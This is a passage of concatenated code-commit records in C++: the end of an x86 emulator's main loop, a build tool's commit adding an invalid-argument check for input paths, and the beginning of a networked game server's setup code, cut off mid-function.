\"<<hex<<showbase<<emu->EIP;\n\/\/\t\t\tcerr<<\", code = \"<<hex<<showbase<<(int)code<<endl;\n\t\t\n\t\t\tswitch(bit){\n\t\t\tcase 16:\n\t\t\t\temu->insn16.Exec(emu, code);\n\t\t\t\tbreak;\n\t\t\tcase 32:\n\t\t\t\temu->insn32.Exec(emu, code);\n\t\t\t\tbreak;\n\t\t\tcase 64:\n\t\t\t\tcout<<\"64bit is not implemtented.\"<<endl;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tcout<<\"bit mode error.\"<<endl;\n\t\t\t\tbreak;\n\t\t\t};\n\t\t}\n\n\t\temu->memory.Dump(\"memdump.bin\", 0x00, 1 * MB);\n\n\t}catch(Interrupt *i){\t\/\/ 割り込み処理\n\t\tcerr<<\"interrupt.\"<<endl;\n\t}catch(string str){\n\t\tcerr<<\"error: \"<<str<<endl;\n\/\/\t\terrExit();\n\t\treturn -1;\n\t}catch(const char *str){\n\t\tcerr<<\"error: \"<<str<<endl;\n\/\/\t\terrExit();\n\t\treturn -1;\n\t}catch(...){\n\t\tcerr<<\"exception.\"<<endl;\n\t\treturn -1;\n\t}\n\treturn 0;\n}\n\n*\/\n<|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n#include <stdlib.h>\n\n#include <algorithm>\n#include <string>\n#include <vector>\n#include <cstring>\n#include <iostream>\n#include <utility>\nusing namespace std;\n\n#include \"scx\/Dir.h\"\n#include \"scx\/FileInfo.h\"\nusing namespace scx;\n\n#include \"Utils.h\"\n#include \"TransUnit.h\"\n#include \"Compiler.h\"\n\nint main(int argc, char* argv[])\n{\n    std::vector<KeyValueArgs::Command> cmds = {\n        { \"jobs\",       \"set number of jobs\",           KeyValueArgs::Setter(), \"0\" },\n        { \"out\",        \"set output binary\",            KeyValueArgs::Setter(), \"b.out\" },\n        { \"workdir\",    \"set work directory\",           KeyValueArgs::Setter(), \".\" },\n        {},\n        { \"as\",         \"set assembler\",                KeyValueArgs::Setter(), \"as\" },\n        { \"asflags\",    \"add assembler flags\",          KeyValueArgs::Jointer(), \"\" },\n        { \"cc\",         \"set c compiler\",               KeyValueArgs::Setter(), \"cc\" },\n        { \"cflags\",     \"add c compiler flags\",         KeyValueArgs::Jointer(), \"\" },\n        { \"cxx\",        \"set c++ compiler\",             KeyValueArgs::Setter(), \"c++\" },\n        { \"cxxflags\",   \"add c++ compiler flags\",       KeyValueArgs::Jointer(), \"\" },\n        { \"flags\",      \"add c & c++ compiler flags\",   KeyValueArgs::KeyJointer({\"cflags\", \"cxxflags\"}) },\n        { \"ld\",         \"set linker\",                   KeyValueArgs::Setter(), \"cc\" },\n        { \"ldflags\",    \"add linker flags\",             KeyValueArgs::Jointer(), \"\" },\n        { \"ldorder\",    \"set link order\",               KeyValueArgs::Setter(), \"\" },\n        { \"prefix\",     \"add search directories\",       KeyValueArgs::KeyValueJointer({\n                {\"flags\", [](const std::string& str){ return \"-I\" + str + \"\/include\"; }},\n                {\"ldflags\", [](const std::string& str){ return \"-L\" + str + \"\/lib\"; }}\n        })},\n        {},\n        { \"verbose\",    \"verbose output\",               KeyValueArgs::ValueSetter(\"1\"), \"0\" },\n        { \"clean\",      \"remove output files\",          KeyValueArgs::ValueSetter(\"1\"), \"0\" },\n        { \"nolink\",     \"do not link\",                  KeyValueArgs::ValueSetter(\"1\"), \"0\" },\n        { \"thread\",     \"link against pthread\",         KeyValueArgs::KeyValueJointer({\n                {\"flags\", \"-pthread\"},\n#ifndef __APPLE__\n                {\"ldflags\", \"-pthread\"}\n#endif\n        })},\n        { \"shared\",     \"build shared library\",         KeyValueArgs::KeyValueJointer({\n                {\"flags\", \"-fPIC\"}, {\"ldflags\", \"-shared\"}\n        })},\n        { \"pipe\",       \"enable -pipe\",                 KeyValueArgs::KeyValueJointer({{\"flags\", \"-pipe\"}}) },\n        { \"debug\",      \"enable -g\",                    KeyValueArgs::KeyValueJointer({{\"flags\", \"-g\"}}) },\n        { \"release\",    \"enable -DNDEBUG\",              KeyValueArgs::KeyValueJointer({{\"flags\", \"-DNDEBUG\"}}) },\n        { \"strict\",     \"enable -Wall -Wextra -Werror\", KeyValueArgs::KeyValueJointer({{\"flags\", \"-Wall -Wextra -Werror\"}}) },\n        { \"c89\",        \"enable -std=c89\",              KeyValueArgs::KeyValueJointer({{\"cflags\", \"-std=c89\"}}) },\n        { \"c99\",        \"enable -std=c99\",              KeyValueArgs::KeyValueJointer({{\"cflags\", \"-std=c99\"}}) },\n        { \"c11\",        \"enable -std=c11\",              KeyValueArgs::KeyValueJointer({{\"cflags\", \"-std=c11\"}}) },\n        { \"c++11\",      \"enable -std=c++11\",            KeyValueArgs::KeyValueJointer({{\"cxxflags\", \"-std=c++11\"}}) },\n        { \"c++1y\",      \"enable -std=c++1y\",            KeyValueArgs::KeyValueJointer({{\"cxxflags\", \"-std=c++1y\"}}) },\n        { \"c++14\",      \"enable -std=c++14\",            KeyValueArgs::KeyValueJointer({{\"cxxflags\", \"-std=c++14\"}}) },\n        { \"c++1z\",      \"enable -std=c++1z\",            KeyValueArgs::KeyValueJointer({{\"cxxflags\", \"-std=c++1z\"}}) },\n        { \"c++17\",      \"enable -std=c++17\",            KeyValueArgs::KeyValueJointer({{\"cxxflags\", \"-std=c++17\"}}) },\n    };\n\n    \/\/ parse command line arguments\n    vector<string> inputPaths;\n    auto args = KeyValueArgs::Parse(argc, argv, cmds, [&](std::string&& key, std::string&& value) {\n        if (key == \"help\") {\n            const size_t n = 8;\n            const std::string blank(n, ' ');\n            cout << \"Usage:\" << endl;\n            cout << blank << std::string(argv[0]) << \" [option...] [file ...] [dir ...]\" << endl;\n            cout << endl;\n            cout << KeyValueArgs::ToString(cmds, n) << endl;\n            ::exit(EXIT_SUCCESS);\n        } else if (value.empty()) {\n            inputPaths.push_back(key);\n        } else {\n            cerr << \"Invalid argument: \" << key;\n            if (!value.empty()) {\n                cerr << \"=\" << value;\n            }\n            cerr << endl;\n            ::exit(EXIT_FAILURE);\n        }\n    });\n    if (inputPaths.empty()) {\n        inputPaths.push_back(\".\");\n    }\n\n    \/\/ scan source files\n    vector<string> sourcePaths;\n    for (const auto& path: inputPaths) {\n        switch (FileInfo(path).Type()) {\n            case FileType::Regular: {\n                sourcePaths.push_back(path);\n                break;\n            };\n            case FileType::Directory: {\n                auto subpaths = Dir::ListDir(path);\n                sourcePaths.reserve(sourcePaths.size() + subpaths.size());\n                for (const auto& subpath: subpaths) {\n                    const auto baseName = FileInfo::BaseName(subpath);\n                    if (baseName == \".\" || baseName == \"..\") {\n                        continue;\n                    }\n                    const auto filePath = path + \"\/\" + subpath;\n                    sourcePaths.push_back(filePath);\n                }\n                break;\n            };\n            default: {\n                break;\n            }\n        }\n    }\n    std::sort(sourcePaths.begin(), sourcePaths.end(), [](const auto& a, const auto& b) {\n        return std::strcoll(a.c_str(), b.c_str()) < 0 ? true : false;\n    });\n    if (sourcePaths.empty()) {\n        cerr << \"FATAL: nothing to build!\" << endl;\n        ::exit(EXIT_FAILURE);\n    }\n\n    \/\/ ensure work directory\n    if (!args[\"workdir\"].empty()) {\n        auto& dir = args[\"workdir\"];\n        if (dir[dir.size()-1] != '\/') {\n            dir += \"\/\";\n        }\n        const auto& info = FileInfo(dir);\n        if (!info.Exists()) {\n            if (!Dir::MakeDir(dir, 0744)) {\n                cerr << \"Failed to create directory!\" << endl;\n                cerr << \"    Directory: \" << dir << endl;\n                ::exit(EXIT_FAILURE);\n            }\n        } else if (info.Type() != FileType::Directory) {\n            cerr << \"Bad work directory! \" << endl;\n            cerr << \"    Directory: \" << dir << endl;\n            cerr << \"    File type: \" << FileType::ToString(info.Type()) << endl;\n            ::exit(EXIT_FAILURE);\n        }\n    }\n    \n    \/\/ scan translation units\n    vector<TransUnit> newUnits;\n    string allObjects;\n    {\n        bool hasCpp = false;\n        const auto& ldorder = args[\"ldorder\"];\n        std::vector<std::pair<size_t, std::string>> headObjects;\n        for (const auto& file: sourcePaths) {\n            const auto& outdir = args[\"workdir\"];\n            bool isCpp = false;\n            auto unit = TransUnit::Make(file, outdir, args, isCpp);\n            if (!unit) {\n                continue;\n            }\n            hasCpp = hasCpp || isCpp;\n            auto pos = ldorder.empty() ? std::string::npos : ldorder.find(FileInfo::BaseName(unit.objfile));\n            if (pos != std::string::npos) {\n                headObjects.emplace_back(pos, unit.objfile);\n            } else {\n                allObjects += unit.objfile + ' ';\n            }\n            if (!unit.command.empty()) {\n                newUnits.push_back(std::move(unit));\n            }\n        }\n        std::sort(headObjects.begin(), headObjects.end(), [](const auto& a, const auto& b) {\n            return a.first > b.first;\n        });\n        for (auto&& headObject: headObjects) {\n            allObjects.insert(0, std::move(headObject.second) + ' ');\n        }\n        if (hasCpp) {\n            args[\"ld\"] = args[\"cxx\"];\n        }\n    }\n\n#ifdef DEBUG\n    \/\/ Debug info.\n    {\n        std::string split(80, '-');\n        cout << \"New translation units: \" << endl;\n        cout << split << endl;\n        for (const auto& unit: newUnits) {\n            cout << unit.Note(true) << endl;\n            for (const auto& dep: unit.deps) {\n                cout << dep << \", \";\n            }\n            cout << endl << split << endl;\n        }\n    }\n#endif\n\n    \/\/ clean\n    if (args[\"clean\"] == \"1\") {\n        const string& cmd = \"rm -f \" + args[\"workdir\"] + args[\"out\"] + ' ' + allObjects;\n        cout << cmd << endl;\n        ::system(cmd.c_str());\n        ::exit(EXIT_SUCCESS);\n    }\n\n    \/\/ compile\n    auto verbose = args[\"verbose\"] == \"1\";\n    if (!newUnits.empty()) {\n        cout << \"* Build: \";\n        if (verbose) {\n            for (size_t i = 0; i < newUnits.size(); ++i) {\n                cout << newUnits[i].srcfile << ((i+1 < newUnits.size()) ? \", \" : \"\");\n            }\n        } else {\n            cout << newUnits.size() << (newUnits.size() > 1 ? \" files\" : \" file\");\n        }\n        cout << endl;\n        if (Compiler::Run(newUnits, std::stoi(args[\"jobs\"]), verbose) != 0) {\n            ::exit(EXIT_FAILURE);\n        }\n    }\n\n    \/\/ link\n    bool hasOut = FileInfo(args[\"workdir\"] + args[\"out\"]).Exists();\n    if ((!hasOut || !newUnits.empty()) && args[\"nolink\"] != \"1\") {\n        string ldCmd = Join({args[\"ld\"], args[\"ldflags\"], \"-o\", args[\"workdir\"] + args[\"out\"], allObjects});\n        if (verbose) {\n            cout << \"- Link - \" << ldCmd << endl;\n        } else {\n            cout << \"- Link - \" << args[\"workdir\"] + args[\"out\"] << endl;\n        }\n        if (::system(ldCmd.c_str()) != 0) {\n            cerr << \"FATAL: failed to link!\" << endl;\n            cerr << \"    file:   \" << allObjects << endl;\n            cerr << \"    ld:     \" << args[\"ld\"] << endl;\n            cerr << \"    ldflags: \" << args[\"ldflags\"] << endl;\n            ::exit(EXIT_FAILURE);\n        }\n    }\n\n    ::exit(EXIT_SUCCESS);\n}\n<commit_msg>Improve invalid argument check<commit_after>#include <stdio.h>\n#include <stdlib.h>\n\n#include <algorithm>\n#include <string>\n#include <vector>\n#include <cstring>\n#include <iostream>\n#include <utility>\nusing namespace std;\n\n#include \"scx\/Dir.h\"\n#include \"scx\/FileInfo.h\"\nusing namespace scx;\n\n#include \"Utils.h\"\n#include \"TransUnit.h\"\n#include \"Compiler.h\"\n\nint main(int argc, char* argv[])\n{\n    std::vector<KeyValueArgs::Command> cmds = {\n        { \"jobs\",       \"set number of jobs\",           KeyValueArgs::Setter(), \"0\" },\n        { \"out\",        \"set output binary\",            KeyValueArgs::Setter(), \"b.out\" },\n        { \"workdir\",    \"set work directory\",           KeyValueArgs::Setter(), \".\" },\n        {},\n        { \"as\",         \"set assembler\",                KeyValueArgs::Setter(), \"as\" },\n        { \"asflags\",    \"add assembler flags\",          KeyValueArgs::Jointer(), \"\" },\n        { \"cc\",         \"set c compiler\",               KeyValueArgs::Setter(), \"cc\" },\n        { \"cflags\",     \"add c compiler flags\",         KeyValueArgs::Jointer(), \"\" },\n        { \"cxx\",        \"set c++ compiler\",             KeyValueArgs::Setter(), \"c++\" },\n        { \"cxxflags\",   \"add c++ compiler flags\",       KeyValueArgs::Jointer(), \"\" },\n        { \"flags\",      \"add c & c++ compiler flags\",   KeyValueArgs::KeyJointer({\"cflags\", \"cxxflags\"}) },\n        { \"ld\",         \"set linker\",                   KeyValueArgs::Setter(), \"cc\" },\n        { \"ldflags\",    \"add linker flags\",             KeyValueArgs::Jointer(), \"\" },\n        { \"ldorder\",    \"set link order\",               KeyValueArgs::Setter(), \"\" },\n        { \"prefix\",     \"add search directories\",       KeyValueArgs::KeyValueJointer({\n                {\"flags\", [](const std::string& str){ return \"-I\" + str + \"\/include\"; }},\n                {\"ldflags\", [](const std::string& str){ return \"-L\" + str + \"\/lib\"; }}\n        })},\n        {},\n        { \"verbose\",    \"verbose output\",               KeyValueArgs::ValueSetter(\"1\"), \"0\" },\n        { \"clean\",      \"remove output files\",          KeyValueArgs::ValueSetter(\"1\"), \"0\" },\n        { \"nolink\",     \"do not link\",                  KeyValueArgs::ValueSetter(\"1\"), \"0\" },\n        { \"thread\",     \"link against pthread\",         KeyValueArgs::KeyValueJointer({\n                {\"flags\", \"-pthread\"},\n#ifndef __APPLE__\n                {\"ldflags\", \"-pthread\"}\n#endif\n        })},\n        { \"shared\",     \"build shared library\",         KeyValueArgs::KeyValueJointer({\n                {\"flags\", \"-fPIC\"}, {\"ldflags\", \"-shared\"}\n        })},\n        { \"pipe\",       \"enable -pipe\",                 KeyValueArgs::KeyValueJointer({{\"flags\", \"-pipe\"}}) },\n        { \"debug\",      \"enable -g\",                    KeyValueArgs::KeyValueJointer({{\"flags\", \"-g\"}}) },\n        { \"release\",    \"enable -DNDEBUG\",              KeyValueArgs::KeyValueJointer({{\"flags\", \"-DNDEBUG\"}}) },\n        { \"strict\",     \"enable -Wall -Wextra -Werror\", KeyValueArgs::KeyValueJointer({{\"flags\", \"-Wall -Wextra -Werror\"}}) },\n        { \"c89\",        \"enable -std=c89\",              KeyValueArgs::KeyValueJointer({{\"cflags\", \"-std=c89\"}}) },\n        { \"c99\",        \"enable -std=c99\",              KeyValueArgs::KeyValueJointer({{\"cflags\", \"-std=c99\"}}) },\n        { \"c11\",        \"enable -std=c11\",              KeyValueArgs::KeyValueJointer({{\"cflags\", \"-std=c11\"}}) },\n        { \"c++11\",      \"enable -std=c++11\",            KeyValueArgs::KeyValueJointer({{\"cxxflags\", \"-std=c++11\"}}) },\n        { \"c++1y\",      \"enable -std=c++1y\",            KeyValueArgs::KeyValueJointer({{\"cxxflags\", \"-std=c++1y\"}}) },\n        { \"c++14\",      \"enable -std=c++14\",            KeyValueArgs::KeyValueJointer({{\"cxxflags\", \"-std=c++14\"}}) },\n        { \"c++1z\",      \"enable -std=c++1z\",            KeyValueArgs::KeyValueJointer({{\"cxxflags\", \"-std=c++1z\"}}) },\n        { \"c++17\",      \"enable -std=c++17\",            KeyValueArgs::KeyValueJointer({{\"cxxflags\", \"-std=c++17\"}}) },\n    };\n\n    \/\/ parse command line arguments\n    vector<string> inputPaths;\n    auto args = KeyValueArgs::Parse(argc, argv, cmds, [&](std::string&& key, std::string&& value) {\n        if (key == \"help\") {\n            const size_t n = 8;\n            const std::string blank(n, ' ');\n            cout << \"Usage:\" << endl;\n            cout << blank << std::string(argv[0]) << \" [option...] [file ...] [dir ...]\" << endl;\n            cout << endl;\n            cout << KeyValueArgs::ToString(cmds, n) << endl;\n            ::exit(EXIT_SUCCESS);\n        } else if (value.empty()) {\n            inputPaths.push_back(key);\n        } else {\n            cerr << \"Invalid argument: \" << key;\n            if (!value.empty()) {\n                cerr << \"=\" << value;\n            }\n            cerr << endl;\n            ::exit(EXIT_FAILURE);\n        }\n    });\n    if (inputPaths.empty()) {\n        inputPaths.push_back(\".\");\n    }\n\n    \/\/ scan source files\n    vector<string> sourcePaths;\n    for (const auto& path: inputPaths) {\n        switch (FileInfo(path).Type()) {\n            case FileType::Regular: {\n                sourcePaths.push_back(path);\n                break;\n            };\n            case FileType::Directory: {\n                auto subpaths = Dir::ListDir(path);\n                sourcePaths.reserve(sourcePaths.size() + subpaths.size());\n                for (const auto& subpath: subpaths) {\n                    const auto baseName = FileInfo::BaseName(subpath);\n                    if (baseName == \".\" || baseName == \"..\") {\n                        continue;\n                    }\n                    const auto filePath = path + \"\/\" + subpath;\n                    sourcePaths.push_back(filePath);\n                }\n                break;\n            };\n            default: {\n                cerr << \"Invalid argument: \" << path << endl;\n                ::exit(EXIT_FAILURE);\n            }\n        }\n    }\n    std::sort(sourcePaths.begin(), sourcePaths.end(), [](const auto& a, const auto& b) {\n        return std::strcoll(a.c_str(), b.c_str()) < 0 ? true : false;\n    });\n    if (sourcePaths.empty()) {\n        cerr << \"FATAL: nothing to build!\" << endl;\n        ::exit(EXIT_FAILURE);\n    }\n\n    \/\/ ensure work directory\n    if (!args[\"workdir\"].empty()) {\n        auto& dir = args[\"workdir\"];\n        if (dir[dir.size()-1] != '\/') {\n            dir += \"\/\";\n        }\n        const auto& info = FileInfo(dir);\n        if (!info.Exists()) {\n            if (!Dir::MakeDir(dir, 0744)) {\n                cerr << \"Failed to create directory!\" << endl;\n                cerr << \"    Directory: \" << dir << endl;\n                ::exit(EXIT_FAILURE);\n            }\n        } else if (info.Type() != FileType::Directory) {\n            cerr << \"Bad work directory! \" << endl;\n            cerr << \"    Directory: \" << dir << endl;\n            cerr << \"    File type: \" << FileType::ToString(info.Type()) << endl;\n            ::exit(EXIT_FAILURE);\n        }\n    }\n    \n    \/\/ scan translation units\n    vector<TransUnit> newUnits;\n    string allObjects;\n    {\n        bool hasCpp = false;\n        const auto& ldorder = args[\"ldorder\"];\n        std::vector<std::pair<size_t, std::string>> headObjects;\n        for (const auto& file: sourcePaths) {\n            const auto& outdir = args[\"workdir\"];\n            bool isCpp = false;\n            auto unit = TransUnit::Make(file, outdir, args, isCpp);\n            if (!unit) {\n                continue;\n            }\n            hasCpp = hasCpp || isCpp;\n            auto pos = ldorder.empty() ? std::string::npos : ldorder.find(FileInfo::BaseName(unit.objfile));\n            if (pos != std::string::npos) {\n                headObjects.emplace_back(pos, unit.objfile);\n            } else {\n                allObjects += unit.objfile + ' ';\n            }\n            if (!unit.command.empty()) {\n                newUnits.push_back(std::move(unit));\n            }\n        }\n        std::sort(headObjects.begin(), headObjects.end(), [](const auto& a, const auto& b) {\n            return a.first > b.first;\n        });\n        for (auto&& headObject: headObjects) {\n            allObjects.insert(0, std::move(headObject.second) + ' ');\n        }\n        if (hasCpp) {\n            args[\"ld\"] = args[\"cxx\"];\n        }\n    }\n\n#ifdef DEBUG\n    \/\/ Debug info.\n    {\n        std::string split(80, '-');\n        cout << \"New translation units: \" << endl;\n        cout << split << endl;\n        for (const auto& unit: newUnits) {\n            cout << unit.Note(true) << endl;\n            for (const auto& dep: unit.deps) {\n                cout << dep << \", \";\n            }\n            cout << endl << split << endl;\n        }\n    }\n#endif\n\n    \/\/ clean\n    if (args[\"clean\"] == \"1\") {\n        const string& cmd = \"rm -f \" + args[\"workdir\"] + args[\"out\"] + ' ' + allObjects;\n        cout << cmd << endl;\n        ::system(cmd.c_str());\n        ::exit(EXIT_SUCCESS);\n    }\n\n    \/\/ compile\n    auto verbose = args[\"verbose\"] == \"1\";\n    if (!newUnits.empty()) {\n        cout << \"* Build: \";\n        if (verbose) {\n            for (size_t i = 0; i < newUnits.size(); ++i) {\n                cout << newUnits[i].srcfile << ((i+1 < newUnits.size()) ? \", \" : \"\");\n            }\n        } else {\n            cout << newUnits.size() << (newUnits.size() > 1 ? \" files\" : \" file\");\n        }\n        cout << endl;\n        if (Compiler::Run(newUnits, std::stoi(args[\"jobs\"]), verbose) != 0) {\n            ::exit(EXIT_FAILURE);\n        }\n    }\n\n    \/\/ link\n    bool hasOut = FileInfo(args[\"workdir\"] + args[\"out\"]).Exists();\n    if ((!hasOut || !newUnits.empty()) && args[\"nolink\"] != \"1\") {\n        string ldCmd = Join({args[\"ld\"], args[\"ldflags\"], \"-o\", args[\"workdir\"] + args[\"out\"], allObjects});\n        if (verbose) {\n            cout << \"- Link - \" << ldCmd << endl;\n        } else {\n            cout << \"- Link - \" << args[\"workdir\"] + args[\"out\"] << endl;\n        }\n        if (::system(ldCmd.c_str()) != 0) {\n            cerr << \"FATAL: failed to link!\" << endl;\n            cerr << \"    file:   \" << allObjects << endl;\n            cerr << \"    ld:     \" << args[\"ld\"] << endl;\n            cerr << \"    ldflags: \" << args[\"ldflags\"] << endl;\n            ::exit(EXIT_FAILURE);\n        }\n    }\n\n    ::exit(EXIT_SUCCESS);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <thread>\n#include \"augs\/misc\/templated_readwrite.h\"\n#include \"game\/bindings\/bind_game_and_augs.h\"\n#include \"augs\/global_libraries.h\"\n#include \"application\/game_window.h\"\n\n#include \"game\/resources\/manager.h\"\n\n#include \"game\/scene_managers\/resource_setups\/all.h\"\n\n#include \"game\/transcendental\/types_specification\/all_component_includes.h\"\n#include \"game\/transcendental\/viewing_session.h\"\n#include \"game\/transcendental\/simulation_broadcast.h\"\n#include \"game\/transcendental\/cosmos.h\"\n#include \"game\/transcendental\/cosmic_delta.h\"\n\n#include \"game\/transcendental\/step_and_entropy_unpacker.h\"\n\n#include \"augs\/filesystem\/file.h\"\n\n#include \"setups.h\"\n#include \"game\/transcendental\/network_commands.h\"\n\n#include \"augs\/network\/reliable_channel.h\"\n\n#include \"augs\/misc\/randomization.h\"\n\n#include \"application\/web_daemon\/session_report.h\"\n\n#include \"augs\/templates.h\"\n\n#include \"game\/detail\/position_scripts.h\"\n\nvoid server_setup::wait_for_listen_server() {\n\tstd::unique_lock<std::mutex> lck(mtx);\n\twhile (!server_ready) cv.wait(lck);\n}\n\nstd::string server_setup::endpoint::nick_and_ip() const {\n\treturn typesafe_sprintf(\"%x (%x)\", nickname, addr.get_readable_ip());\n}\n\nserver_setup::endpoint& server_setup::get_endpoint(const augs::network::endpoint_address addr) {\n\treturn *find_in(endpoints, addr);\n}\n\nvoid server_setup::deinit_endpoint(endpoint& end, const bool gracefully) {\n\tLOG(\"%x disconnected.\", end.nick_and_ip());\n\n\tif (hypersomnia[end.controlled_entity].alive())\n\t\tscene.free_character(end.controlled_entity);\n\n\tif(!gracefully)\n\t\tchoose_server(end.addr).forceful_disconnect(end.addr);\n\telse\n\t\tchoose_server(end.addr).disconnect(end.addr);\n}\n\nvoid server_setup::deinit_endpoint(const augs::network::endpoint_address addr, const bool gracefully) {\n\tdeinit_endpoint(get_endpoint(addr), gracefully);\n}\n\nvoid server_setup::disconnect(const augs::network::endpoint_address addr, const bool gracefully) {\n\tdeinit_endpoint(addr, gracefully);\n\tremove_element(endpoints, addr);\n}\n\naugs::network::server& server_setup::choose_server(augs::network::endpoint_address addr) {\n\tif (serv.has_endpoint(addr)) {\n\t\treturn serv;\n\t}\n\n\tensure(alternative_serv.has_endpoint(addr));\n\treturn alternative_serv;\n}\n\nvoid server_setup::process(game_window& window, const bool start_alternative_server) {\n\tconst auto& cfg = window.config;\n\t\n\tsession_report rep;\n\n\tcosmos hypersomnia_last_snapshot(3000);\n\n\tcosmos initial_hypersomnia(3000);\n\tscene_managers::networked_testbed_server().populate_world_with_entities(initial_hypersomnia);\n\n\tstep_and_entropy_unpacker input_unpacker;\n\n\tconst bool detailed_step_log = cfg.tickrate <= 2;\n\n\tif (!hypersomnia.load_from_file(\"server_save.state\")) {\n\t\thypersomnia.set_fixed_delta(augs::fixed_delta(cfg.tickrate));\n\t\tscene.populate_world_with_entities(hypersomnia);\n\t}\n\n\tinput_unpacker.try_to_load_or_save_new_session(\"server_sessions\/\", \"server_recorded.inputs\");\n\n\tsimulation_broadcast server_sim;\n\n\tconst bool is_replaying = input_unpacker.player.is_replaying();\n\tconst bool launch_webserver = !is_replaying && cfg.server_launch_http_daemon;\n\t\n\tbool daemon_online = false;\n\n\tif (launch_webserver)\n\t\tdaemon_online = rep.start_daemon(cfg.server_http_daemon_html_file_path, cfg.server_http_daemon_port);\n\n\tif (is_replaying || serv.listen(cfg.server_port, 32))\n\t\tLOG(\"Listen server setup successful.\");\n\telse \n\t\tLOG(\"Failed to setup a listen server.\");\n\n\tif (start_alternative_server) {\n\t\tif (is_replaying || alternative_serv.listen(cfg.alternative_port, 32))\n\t\t\tLOG(\"Alternative listen server setup successful.\");\n\t\telse\n\t\t\tLOG(\"Failed to setup an alternative listen server.\");\n\t}\n\n\t{\n\t\tstd::unique_lock<std::mutex> lck(mtx);\n\t\tserver_ready = true;\n\t\tcv.notify_all();\n\t}\n\n\tbool resubstantiate = false;\n\t\n\tinput_unpacker.timer.reset_timer();\n\t\n\trandomization test_entropy_randomizer;\n\t\n\twhile (!should_quit) {\n\t\taugs::machine_entropy new_entropy;\n\n\t\tnew_entropy.local = window.collect_entropy();\n\t\tnew_entropy.remote = serv.collect_entropy();\n\n\t\tif (start_alternative_server) {\n\t\t\taugs::machine_entropy alt_entropy;\n\t\t\talt_entropy.remote = alternative_serv.collect_entropy();\n\t\t\n\t\t\tnew_entropy += alt_entropy;\n\t\t}\n\t\n\t\tprocess_exit_key(new_entropy.local);\n\n\t\tinput_unpacker.control(new_entropy);\n\n\t\tauto steps = input_unpacker.unpack_steps(hypersomnia.get_fixed_delta());\n\n\t\tfor (auto& s : steps) {\n\t\t\tif (detailed_step_log) {\n\t\t\t\tLOG(\"Server step\");\n\t\t\t}\n\n\t\t\tfor (auto& net_event : s.total_entropy.remote) {\n\t\t\t\tif (detailed_step_log) {\n\t\t\t\t\tLOG(\"Server netevent\");\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tconst auto& address = net_event.address;\n\n\t\t\t\tbool should_disconnect = false;\n\n\t\t\t\tif (net_event.message_type == augs::network::message::type::CONNECT) {\n\t\t\t\t\tLOG(\"%x connected to server on port %x.\", address.get_readable_ip(), address.get_port());\n\t\t\t\t\t\n\t\t\t\t\tendpoint new_endpoint;\n\t\t\t\t\tnew_endpoint.addr = net_event.address;\n\t\t\t\t\tnew_endpoint.commands.set_lower_limit(static_cast<size_t>(cfg.client_commands_jitter_buffer_ms) \/ hypersomnia.get_fixed_delta().in_milliseconds());\n\t\t\t\t\tendpoints.push_back(new_endpoint);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (net_event.message_type == augs::network::message::type::DISCONNECT) {\n\t\t\t\t\tLOG(\"Disconnecting due to net event.\");\n\t\t\t\t\tshould_disconnect = true;\n\t\t\t\t}\n\n\t\t\t\tif (net_event.message_type == augs::network::message::type::RECEIVE) {\n\t\t\t\t\tauto& stream = net_event.payload;\n\t\t\t\t\tauto& endpoint = *find_in(endpoints, address);\n\t\t\t\t\t\n\t\t\t\t\tauto to_skip = net_event.messages_to_skip;\n\n\t\t\t\t\twhile (stream.get_unread_bytes() > 0) {\n\t\t\t\t\t\tconst bool should_skip = to_skip > 0;\n\n\t\t\t\t\t\tif (should_skip)\n\t\t\t\t\t\t\t--to_skip;\n\n\t\t\t\t\t\tnetwork_command command;\n\t\t\t\t\t\taugs::read_object(stream, command);\n\n\t\t\t\t\t\tif (detailed_step_log && !should_skip)\n\t\t\t\t\t\t\tLOG(\"Server received command: %x\", int(command));\n\n\t\t\t\t\t\tswitch (command) {\n\t\t\t\t\t\tcase network_command::CLIENT_WELCOME_MESSAGE: {\n\t\t\t\t\t\t\tstd::string read_nickname;\n\t\t\t\t\t\t\taugs::read_object(stream, read_nickname);\n\n\t\t\t\t\t\t\tif (!should_skip) {\n\t\t\t\t\t\t\t\tif (endpoint.sent_welcome_message) {\n\t\t\t\t\t\t\t\t\tLOG(\"Welcome message was resent. Disconnecting.\");\n\t\t\t\t\t\t\t\t\tshould_disconnect = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t\tendpoint.sent_welcome_message = true;\n\t\t\t\t\t\t\t\t\tendpoint.nickname = read_nickname;\n\n\t\t\t\t\t\t\t\t\tif (!should_skip) {\n\t\t\t\t\t\t\t\t\t\tLOG(\"%x chose nickname %x.\", address.get_readable_ip(), endpoint.nickname);\n\n\t\t\t\t\t\t\t\t\t\tauto& complete_state = initial_hypersomnia.reserved_memory_for_serialization;\n\t\t\t\t\t\t\t\t\t\tcomplete_state.reset_write_pos();\n\n\t\t\t\t\t\t\t\t\t\taugs::write_object(complete_state, network_command::COMPLETE_STATE);\n\n\t\t\t\t\t\t\t\t\t\tcosmic_delta::encode(initial_hypersomnia, hypersomnia, complete_state);\n\n\t\t\t\t\t\t\t\t\t\thypersomnia.complete_resubstantiation();\n\t\t\t\t\t\t\t\t\t\tresubstantiate = true;\n\n\t\t\t\t\t\t\t\t\t\tendpoint.controlled_entity = scene.assign_new_character();\n\t\t\t\t\t\t\t\t\t\taugs::write_object(complete_state, hypersomnia[endpoint.controlled_entity].get_guid());\n\n\t\t\t\t\t\t\t\t\t\tchoose_server(address).send_reliable(complete_state, address);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\tcase network_command::CLIENT_REQUESTED_ENTROPY: {\n\t\t\t\t\t\t\tif (!endpoint.sent_welcome_message) {\n\t\t\t\t\t\t\t\tshould_disconnect = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\tguid_mapped_entropy result;\n\t\t\t\t\t\t\t\taugs::read_object(stream, result);\n\n\t\t\t\t\t\t\t\tif 